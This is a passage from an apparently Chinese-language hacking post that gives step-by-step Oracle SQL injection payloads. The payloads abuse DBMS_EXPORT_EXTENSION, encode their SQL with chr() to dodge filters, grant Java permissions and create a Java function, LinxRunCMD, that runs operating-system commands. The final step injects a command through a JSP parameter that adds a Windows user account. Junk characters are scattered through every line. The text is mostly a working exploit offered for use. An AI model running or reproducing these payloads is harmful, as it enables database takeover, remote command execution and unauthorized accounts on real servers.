8 Z# {! M! }) gchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)6 Z" A. Q0 y0 y5 M. ~0 C% N* H
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual7 R& ?# T" Q; Z, E% A) I, \- C$ K( L
8 l/ X# q4 b& M( s)
# q3 Z& ], f2 e, f7 |! }: p
( B# ?( E8 t0 \+ D7 {) |; g* p------------------------------5 y, r* z9 ?: u/ p7 L
5 Y# E; j/ e1 m' p8 ?2.赋Java权限3 R3 ~5 q: ^) N. v) I4 m
/xxx.jsp?id=1 and chr(49)<>chr(50)||(- t1 D f6 P# J
5 j- i3 N4 p$ P o+ l' g
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),. Z l- b7 {) z& J: o
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||2 y* b6 H- @4 y! f
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||1 T# [7 j: c, q1 q, S
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
% l% J, n7 [" ^8 bchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||& ~0 O, E) Q. R- @
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||- c- {' O) c! `. L" y
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
5 j0 W5 m& W3 t; m4 i0 v( q7 _chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
+ E/ s2 W( N3 E* F8 Echr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
7 l6 b% V) {" mchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
1 Q/ h- g$ I$ n( W4 f,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
# t' N* W) n/ c9 p' X6 l
# y8 s6 o5 R$ F" _4 o) l8 v)+ O; P% L* g6 c2 C7 e
1 q; r) v n/ I7 @* L) n) [
readfile函数的ascii版就不写了,见谅。
3 ?3 n) L8 i! R- p
) Q$ A3 P! ], Y4 v" N3.创建函数
; T/ |% z& ]- J) @4 l6 ]
( }1 q ?' l [* s9 Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),3 ]. t1 G; S: u U m$ _7 l2 q7 O6 c
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||9 N$ O9 K, }$ j8 u( \) r# ?
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||. {3 }8 A1 u$ S3 [: @) d7 j
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
( l% g- `% j7 D9 x/ t: e- Jchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
* b; R6 L; g0 r7 Q' r Wchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||5 `+ u; |7 e! w) |1 ^
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||& j6 c$ U& e H9 ?1 n+ l: X
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||5 M4 {" D" a( ~ X, q
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
9 V, D, t3 l4 \8 J3 ^chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||$ ~' x' t; g& {. N; Y
chr(59)||chr(45)||chr(45)
% }) y$ R6 S4 R1 `: \" w8 \,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual! o( x5 N/ d8 K# ?' a/ t' {
6 J+ F" K0 k% }) l/ Z0 a
* M8 {, g: M, O0 v3 @' B( G$ K1 R6 g) }# y
4.赋public执行函数的权限
0 Y4 ^& e9 ~4 h8 \4 `5 _! c/ ^( i0 w5 ?5 r$ R4 y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
+ n- J" f% O$ i; W8 Gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
5 L6 O8 N- ? ?: W2 x: d8 h3 K% xchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
: s$ k8 d* y1 _4 Z Gchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
. X6 v7 x# F1 |- F" Fchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
9 ?+ B" ` N/ c. [chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
- G1 y# F7 `4 k& X8 U9 nchr(59)||chr(45)||chr(45)) z% k; k9 B& k# l, y
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual7 }, Y, T; f8 Q F0 P& m/ T) t
9 S1 l, y3 m* S1 `
2 I0 R) N* \% J4 {* {
5 }: x; @. f, ^6 w; ~5.执行命令: c* S2 A% c% m, N
% Z3 T- c$ v, o4 ], W
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
( c3 m+ H& ^1 \! d; M* R& dselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 w/ d+ {6 O9 ]/ G/ l. ~), h- f1 y4 [5 V: Q
+ U9 X6 g( F9 ]# G
即
' j5 S1 z2 ]+ i/ M- T3 f7 k/xxx.jsp?id=1 and chr(49)<>chr(32)||(& f; o- a- z& x0 O# |$ g
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual* T$ F" {. b. K
)
9 s* V5 k- s+ }6 X8 C% b- [ |